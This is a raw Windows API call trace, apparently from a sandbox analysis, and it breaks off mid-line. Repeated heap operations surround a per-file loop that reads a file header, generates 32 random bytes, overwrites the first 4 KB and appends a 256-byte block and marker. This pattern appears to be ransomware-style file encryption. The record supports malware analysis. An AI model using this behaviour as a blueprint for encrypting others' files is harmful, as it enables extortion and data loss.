GetProcessHeap () returned 0x540000 [0082.013] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.013] GetProcessHeap () returned 0x540000 [0082.013] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.013] GetProcessHeap () returned 0x540000 [0082.013] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.013] GetProcessHeap () returned 0x540000 [0082.013] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.013] GetProcessHeap () returned 0x540000 [0082.013] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.013] GetProcessHeap () returned 0x540000 [0082.013] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.013] GetProcessHeap () returned 0x540000 [0082.013] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.013] GetProcessHeap () returned 0x540000 [0082.013] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.013] GetProcessHeap () returned 0x540000 [0082.013] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.013] GetProcessHeap () returned 0x540000 [0082.013] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.013] GetProcessHeap () returned 0x540000 [0082.013] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.013] GetProcessHeap () returned 0x540000 [0082.013] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.013] GetProcessHeap () returned 0x540000 [0082.013] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0082.013] GetProcessHeap () returned 0x540000 [0082.013] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.014] GetProcessHeap () returned 0x540000 [0082.014] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0082.014] GetProcessHeap () returned 0x540000 [0082.014] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0082.014] GetProcessHeap () returned 0x540000 [0082.014] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0082.014] GetProcessHeap () returned 0x540000 [0082.014] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0082.014] GetProcessHeap () returned 0x540000 [0082.014] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0082.014] GetProcessHeap () returned 0x540000 [0082.014] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0082.014] GetProcessHeap () returned 0x540000 [0082.014] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.014] GetProcessHeap () returned 0x540000 [0082.014] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0082.014] GetProcessHeap () returned 0x540000 [0082.014] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0082.014] GetProcessHeap () returned 0x540000 [0082.014] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.014] GetProcessHeap () returned 0x540000 [0082.014] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.014] GetProcessHeap () returned 0x540000 [0082.014] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.014] GetProcessHeap () returned 0x540000 [0082.014] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0082.014] GetProcessHeap () returned 0x540000 [0082.014] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.014] GetProcessHeap () returned 0x540000 [0082.014] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.014] GetProcessHeap () returned 0x540000 [0082.015] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.015] GetProcessHeap () returned 0x540000 [0082.015] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0082.015] GetProcessHeap () returned 0x540000 [0082.015] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.015] GetProcessHeap () returned 0x540000 [0082.015] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.015] GetProcessHeap () returned 0x540000 [0082.015] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.015] GetProcessHeap () returned 0x540000 [0082.015] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0082.015] GetProcessHeap () returned 0x540000 [0082.015] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.015] GetProcessHeap () returned 0x540000 [0082.015] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.015] GetProcessHeap () returned 0x540000 [0082.015] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.015] GetProcessHeap () returned 0x540000 [0082.015] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0082.015] GetProcessHeap () returned 0x540000 [0082.015] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.015] GetProcessHeap () returned 0x540000 [0082.015] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.015] GetProcessHeap () returned 0x540000 [0082.015] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.015] GetProcessHeap () returned 0x540000 [0082.015] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0082.016] GetProcessHeap () returned 0x540000 [0082.016] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.016] GetProcessHeap () returned 0x540000 [0082.016] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.016] GetProcessHeap () returned 0x540000 [0082.016] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.016] GetProcessHeap () returned 0x540000 [0082.016] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0082.016] GetProcessHeap () returned 0x540000 [0082.016] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.016] GetProcessHeap () returned 0x540000 [0082.016] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0082.016] GetProcessHeap () returned 0x540000 [0082.016] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0082.016] GetProcessHeap () returned 0x540000 [0082.016] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.016] GetProcessHeap () returned 0x540000 [0082.016] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0082.016] SetFilePointerEx (in: hFile=0x818, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.016] WriteFile (in: hFile=0x818, lpBuffer=0x3345b00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345b00*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0082.016] WriteFile (in: hFile=0x818, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0082.016] GetProcessHeap () returned 0x540000 [0082.016] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0082.016] GetProcessHeap () returned 0x540000 [0082.016] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0082.016] GetProcessHeap () returned 0x540000 [0082.016] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0082.016] CloseHandle (hObject=0x818) returned 1 [0082.018] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 39 [0082.018] SetFilePointerEx (in: hFile=0x81c, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.018] ReadFile (in: hFile=0x81c, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0082.018] SetFilePointerEx (in: hFile=0x81c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.018] GetProcessHeap () returned 0x540000 [0082.018] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0082.018] GetProcessHeap () returned 0x540000 [0082.018] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ea88 [0082.018] SystemFunction036 (in: RandomBuffer=0x331ea88, RandomBufferLength=0x20 | out: RandomBuffer=0x331ea88) returned 1 [0082.018] GetProcessHeap () returned 0x540000 [0082.018] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0082.018] ReadFile (in: hFile=0x81c, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0082.066] SetFilePointerEx (in: hFile=0x81c, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.066] WriteFile (in: hFile=0x81c, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0082.066] GetProcessHeap () returned 0x540000 [0082.066] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0082.066] GetProcessHeap () returned 0x540000 [0082.066] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0082.066] GetProcessHeap () returned 0x540000 [0082.066] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ef10 [0082.066] GetProcessHeap () returned 0x540000 [0082.066] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0082.066] GetProcessHeap () returned 0x540000 [0082.067] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0082.067] GetProcessHeap () returned 0x540000 [0082.067] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0082.067] GetProcessHeap () returned 0x540000 [0082.067] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.067] GetProcessHeap () returned 0x540000 [0082.067] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.067] GetProcessHeap () returned 0x540000 [0082.067] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.067] GetProcessHeap () returned 0x540000 [0082.067] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.067] GetProcessHeap () returned 0x540000 [0082.067] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.067] GetProcessHeap () returned 0x540000 [0082.067] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.067] GetProcessHeap () returned 0x540000 [0082.067] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.067] GetProcessHeap () returned 0x540000 [0082.067] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.067] GetProcessHeap () returned 0x540000 [0082.067] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.067] GetProcessHeap () returned 0x540000 [0082.067] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.067] GetProcessHeap () returned 0x540000 [0082.068] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.068] GetProcessHeap () returned 0x540000 [0082.068] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.068] GetProcessHeap () returned 0x540000 [0082.068] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.068] GetProcessHeap () returned 0x540000 [0082.068] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.068] GetProcessHeap () returned 0x540000 [0082.068] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.068] GetProcessHeap () returned 0x540000 [0082.068] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.068] GetProcessHeap () returned 0x540000 [0082.068] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.068] GetProcessHeap () returned 0x540000 [0082.068] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.068] GetProcessHeap () returned 0x540000 [0082.068] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.068] GetProcessHeap () returned 0x540000 [0082.068] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.068] GetProcessHeap () returned 0x540000 [0082.068] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.068] GetProcessHeap () returned 0x540000 [0082.068] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.068] GetProcessHeap () returned 0x540000 [0082.068] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.068] GetProcessHeap () returned 0x540000 [0082.068] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.068] GetProcessHeap () returned 0x540000 [0082.068] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.068] GetProcessHeap () returned 0x540000 [0082.068] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.069] GetProcessHeap () returned 0x540000 [0082.069] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.069] GetProcessHeap () returned 0x540000 [0082.069] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.069] GetProcessHeap () returned 0x540000 [0082.069] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.069] GetProcessHeap () returned 0x540000 [0082.069] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.069] GetProcessHeap () returned 0x540000 [0082.069] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.069] GetProcessHeap () returned 0x540000 [0082.069] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.069] GetProcessHeap () returned 0x540000 [0082.069] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0082.069] GetProcessHeap () returned 0x540000 [0082.069] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.069] GetProcessHeap () returned 0x540000 [0082.069] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0082.069] GetProcessHeap () returned 0x540000 [0082.069] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0082.069] GetProcessHeap () returned 0x540000 [0082.069] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0082.069] GetProcessHeap () returned 0x540000 [0082.069] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0082.069] GetProcessHeap () returned 0x540000 [0082.069] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0082.069] GetProcessHeap () returned 0x540000 [0082.069] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0082.069] GetProcessHeap () returned 0x540000 [0082.069] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.069] GetProcessHeap () returned 0x540000 [0082.069] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0082.069] GetProcessHeap () returned 0x540000 [0082.069] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0082.069] GetProcessHeap () returned 0x540000 [0082.069] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.070] GetProcessHeap () returned 0x540000 [0082.070] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.070] GetProcessHeap () returned 0x540000 [0082.070] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.070] GetProcessHeap () returned 0x540000 [0082.070] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0082.070] GetProcessHeap () returned 0x540000 [0082.070] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.070] GetProcessHeap () returned 0x540000 [0082.070] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.070] GetProcessHeap () returned 0x540000 [0082.070] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.070] GetProcessHeap () returned 0x540000 [0082.070] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0082.070] GetProcessHeap () returned 0x540000 [0082.070] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.070] GetProcessHeap () returned 0x540000 [0082.070] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.070] GetProcessHeap () returned 0x540000 [0082.070] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.070] GetProcessHeap () returned 0x540000 [0082.070] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0082.070] GetProcessHeap () returned 0x540000 [0082.070] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.070] GetProcessHeap () returned 0x540000 [0082.070] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.070] GetProcessHeap () returned 0x540000 [0082.070] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.071] GetProcessHeap () returned 0x540000 [0082.071] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0082.071] GetProcessHeap () returned 0x540000 [0082.071] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.071] GetProcessHeap () returned 0x540000 [0082.071] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.071] GetProcessHeap () returned 0x540000 [0082.071] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.071] GetProcessHeap () returned 0x540000 [0082.071] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0082.071] GetProcessHeap () returned 0x540000 [0082.071] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.071] GetProcessHeap () returned 0x540000 [0082.071] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.071] GetProcessHeap () returned 0x540000 [0082.071] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.071] GetProcessHeap () returned 0x540000 [0082.071] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0082.071] GetProcessHeap () returned 0x540000 [0082.071] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.071] GetProcessHeap () returned 0x540000 [0082.071] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0082.071] GetProcessHeap () returned 0x540000 [0082.071] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0082.071] GetProcessHeap () returned 0x540000 [0082.071] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.071] GetProcessHeap () returned 0x540000 [0082.071] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0082.071] SetFilePointerEx (in: hFile=0x81c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.072] WriteFile (in: hFile=0x81c, lpBuffer=0x3345b00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345b00*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0082.072] WriteFile (in: hFile=0x81c, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0082.072] GetProcessHeap () returned 0x540000 [0082.072] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0082.072] GetProcessHeap () returned 0x540000 [0082.072] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0082.072] GetProcessHeap () returned 0x540000 [0082.072] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0082.072] CloseHandle (hObject=0x81c) returned 1 [0082.076] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 40 [0082.076] SetFilePointerEx (in: hFile=0x820, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.076] ReadFile (in: hFile=0x820, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0082.076] SetFilePointerEx (in: hFile=0x820, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.076] GetProcessHeap () returned 0x540000 [0082.076] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0082.076] GetProcessHeap () returned 0x540000 [0082.076] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ea88 [0082.076] SystemFunction036 (in: RandomBuffer=0x331ea88, RandomBufferLength=0x20 | out: RandomBuffer=0x331ea88) returned 1 [0082.076] GetProcessHeap () returned 0x540000 [0082.076] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0082.076] ReadFile (in: hFile=0x820, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0082.173] SetFilePointerEx (in: hFile=0x820, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.173] WriteFile (in: hFile=0x820, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0082.174] GetProcessHeap () returned 0x540000 [0082.174] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0082.174] GetProcessHeap () returned 0x540000 [0082.174] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0082.174] GetProcessHeap () returned 0x540000 [0082.174] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ef10 [0082.174] GetProcessHeap () returned 0x540000 [0082.174] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0082.174] GetProcessHeap () returned 0x540000 [0082.174] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0082.174] GetProcessHeap () returned 0x540000 [0082.174] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0082.174] GetProcessHeap () returned 0x540000 [0082.174] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.174] GetProcessHeap () returned 0x540000 [0082.174] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.174] GetProcessHeap () returned 0x540000 [0082.174] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.174] GetProcessHeap () returned 0x540000 [0082.174] HeapFree (in: hHeap=0x540000, 